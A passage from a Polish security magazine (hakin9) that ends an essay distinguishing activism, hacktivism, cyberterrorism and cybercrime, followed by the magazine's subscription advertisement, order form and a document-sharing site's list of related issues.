swoje zamierzone skutki. Także aspekt
przekazywania globalnej informacji nie
może być mylony z aktywnością mającą
na celu zniszczenie czy zakłócanie. Ryzyko
cyberterroryzmu w społeczeństwie zwiększa
się wraz ze wzrostem znaczenia technologii
w naszym życiu. Dostęp do różnego
rodzaju baz danych czy blokada systemów
komunikacyjnych skutecznie paraliżują
działania poszczególnych instytucji, a w
wymiarze masowym – nawet państwa.

W naszych dywagacjach dążymy

do uzyskania wyraźnego podziału na:
aktywizm (będący jedynie przejawem
aktywności politycznej, prowadzonej za
pomocą Internetu), hacktywizm (wcześniej
wspomniane połączenie aktywizmu,
propagowania idei i technik używanych
przez hakerów), cyberterroryzm (destrukcyjne
działania motywowane politycznie,
skierowane przeciw nieagresywnym celom),
a także cyberprzestępczość, szpiegostwo

gospodarcze czy wojny informacyjne
(cyberwojny) – ponieważ te trzy ostatnie
rządzą się swoimi własnymi prawami.
Wszystko zależy od motywu działania oraz
profitu, jaki chcemy poprzez te działania
osiągnąć. Nie zmienia to także faktu, że we
wszystkich wymienionych zjawiskach to
komputer odgrywa zasadniczą rolę narzędzia
aktywności kryminalnej. Dlatego, próbując
dokonać rzeczywistego wyodrębnienia
wyżej podanych definicji, musimy dokładnie

wiedzieć, co było motywem działania, jakie
korzyści zostały osiągnięte, a także – czy
komputer był narzędziem umożliwiającym
popełnienie przestępstwa, celem
popełnienia przestępstwa, czy może pełnił
funkcję incydentalną w trakcie popełniania
przestępstwa. We wszystkich możliwych
konfiguracjach tych czynników otrzymujemy
bowiem różnorakie definicje czynności
wykonywanych przez ludzi ukierunkowujących
swoje działania na cyberprzestrzeń.

A co z nami? Żyjemy w czasach, w

których informacja jest najważniejszym
towarem dla społeczeństwa. Jej
niematerialna wartość staje się bezcenna w
porównaniu z materialnymi przedmiotami.
Czy każdy z nas może być w jakimś
stopniu hacktywistą? Otoczeni szumem
informacyjnym i labiryntem reklam, musimy
przedzierać się przez niezachwiany monopol
mediów, ukierunkowany wyznaniami
prezesów. Na szczęście Internet w swojej
budowie rozbija całkowicie dystrybucję
tylko wybranych treści. Każdy z nas może
przełamać szarą rzeczywistość poprzez
szerzenie treści właściwych ze swojego
punktu widzenia. Łatwość, z jaką można
prezentować swoje poglądy sprawia, iż
zaburzony został paradygmat mediów oparty
na schemacie nadawca – odbiorca. Teraz
my – jako poszczególne jednostki – możemy
uczestniczyć w procesach społeczno
– politycznych naszego kraju, a nawet świata.
Dzięki globalnej Sieci oraz funkcjonującym
technologiom stajemy się aktywnymi
odkrywcami, gotowymi do przeprowadzania
analiz teraźniejszej i kreowaniu nowej
rzeczywistości. Sami możemy promować
różnorakie idee polityczne i społeczne. Bronić
wolności przekonań swoich, a także innych
osób. Bez nacisków i tyranii swobodnie
obserwować procesy zachodzące wokół
nas oraz dostrzegać występujące w
nich nieprawidłowości, pomagać innym
w dostępie do alternatywnych źródeł
informacji. Oczywiście, możemy stać się
także w jakimś stopniu cyberterrorystami
– wraz ze zorganizowaną grupą publikować
wygodne dla nas informacje na serwisach
społecznościowych, a nie dopuszczać tych,
które nie godzą się z naszymi przekonaniami.
Być głuchymi na zdanie innych, zamknięci w
swoim świecie pełnym nienawiści. Naturalnie
– wszystko to zależy od nas samych, bo
terrorem byłoby też dyktowanie, którą drogę
należy wybrać.

"Cyberprzestrzeń staje

się coraz bardziej

skomplikowana, a

swoich zjawiskach mniej

przejrzysta i trudniejsza

do przyswojenia.

Jako społeczeństwo

informacyjne

generujemy nowe

wyzwania i zagrożenia

bezpieczeństwa, wśród

których zdecydowanie

najniebezpieczniejszy

jest cyberterroryzm,

wymagający odgórnej

ochrony kluczowych

działów gospodarki,

którą może zapewnić

tylko państwo." Czy

umieszczenie takiego

wpisu na podmienionej

stronie rządu wskazywało

by na przejaw

hacktywizmu?

background image

Kontakt

1. Telefon

+48 22 427 36 93

+48 22 427 36 79

+48 22 427 36 53

2. Fax

+48 22 244 24 59

2. Online

pren@software.com.pl

3. Adres

Bokserska 1

02-682 Warszawa

Polska

Roczna prenumerata

tylko

219

hakin9 – jak się obronić to ukazujący się w dwudziestu
czterech krajach Europy magazyn o bezpieczeństwie.
hakin9 porusza sprawy związane z bezpieczeństwem sys-
temów informatycznych – rozpatrywane zarówno od stro-
ny osoby naruszającej bezpieczeństwo, jak i osoby, która
bezpieczeństwo zapewnia. Radzimy jak skutecznie zabez-
pieczyć system przed hakerami i wszelkimi innymi zagro-
żeniami, oprowadzamy Czytelników po tajnikach najpopu-
larniejszych programów antywirusowych, systemów wy-
krywania włamań, narzędziach, których potrzebuje każdy
administrator.

,-

background image

Zamówienie prenumeraty

Imię i nazwisko ...............................................................................

Nazwa firmy.....................................................................................

Dokładny adres ..............................................................................

.........................................................................................................

Telefon ............................................................................................

E–mail .............................................................................................

ID kontrahenta ................................................................................

Numer NIP firmy .............................................................................

Fax (wraz z nr kierunkowym) .........................................................

Prosimy wypełniać czytelnie i przesyłać faksem na numer:
00 48 22 244 24 59
lub listownie na adres:
Software-Wydawnictwo Sp. z o. o.
ul. Bokserska 1
02-682 Warszawa
Polska
E-Mail:

pren@software.com.pl

Przyjmujemy też zamównienia telefoniczne:
0048 22 427 36 93
0048 22 427 36 79
0048 22 427 36 53

Jeżeli chcesz zapłacić kartą kredytową,
wejdź na stronę naszego sklepu internetowego

www.buyitpress.com.

Prenumerujesz

– zyskujesz

l

oszczędność

pieniędzy

l

szybka dostawa

l

prezenty

l

bezpieczna płatność

ność on–line

Tytuł

Ilość

nume-

rów

Ilość

zama-

wianych

prenume-

rat

Od

numeru

pisma

lub mie-

siąca

Cena

hakin9, jak się obronić
(1 płyta CD)
Miesięcznik o
bezpieczeństwie
i hakingu

11

199*/

219

PLN

� automatyczne przedłużenie prenumeraty

* cena prenumeraty rocznej dla osób prywatnych

Zadzwoń

+48 22 427 36 93

lub

zamów

mailowo!

background image
background image

Document Outline


Wyszukiwarka

Podobne podstrony:
Hakin9 38 (06 2008) PL
Hakin9 36 (04 2008) PL
Hakin9 35 (03 2008) PL
Hakin9 26 (06 2007) PL
Hakin9 34 (02 2008) PL
Hakin9 37 (05 2008) PL
Hakin9 40 (09 2008) PL
Hakin9 33 (01 2008) PL
hakin9 07 08 2008 pl
Hakin9 26 (06 2007) PL
Hakin9 37 (05 2008) PL
Hakin9 36 (04 2008) PL
Hakin9 33 (01 2008) PL
Hakin9 35 (03 2008) PL
Hakin9 40 (09 2008) PL
LEP BY TVN MED, Zestaw LEP - TVN MED - PEDIATRIA II, Zestaw LEP: Zestaw losowy (2008-03-29 14:38:06)
Paweł Wieczorkiewicz Białe plamy znikają, historia zwycięża PolskaTimes pl 24 06 2008
Instrukcja SEC pl 18 06 2008

więcej podobnych podstron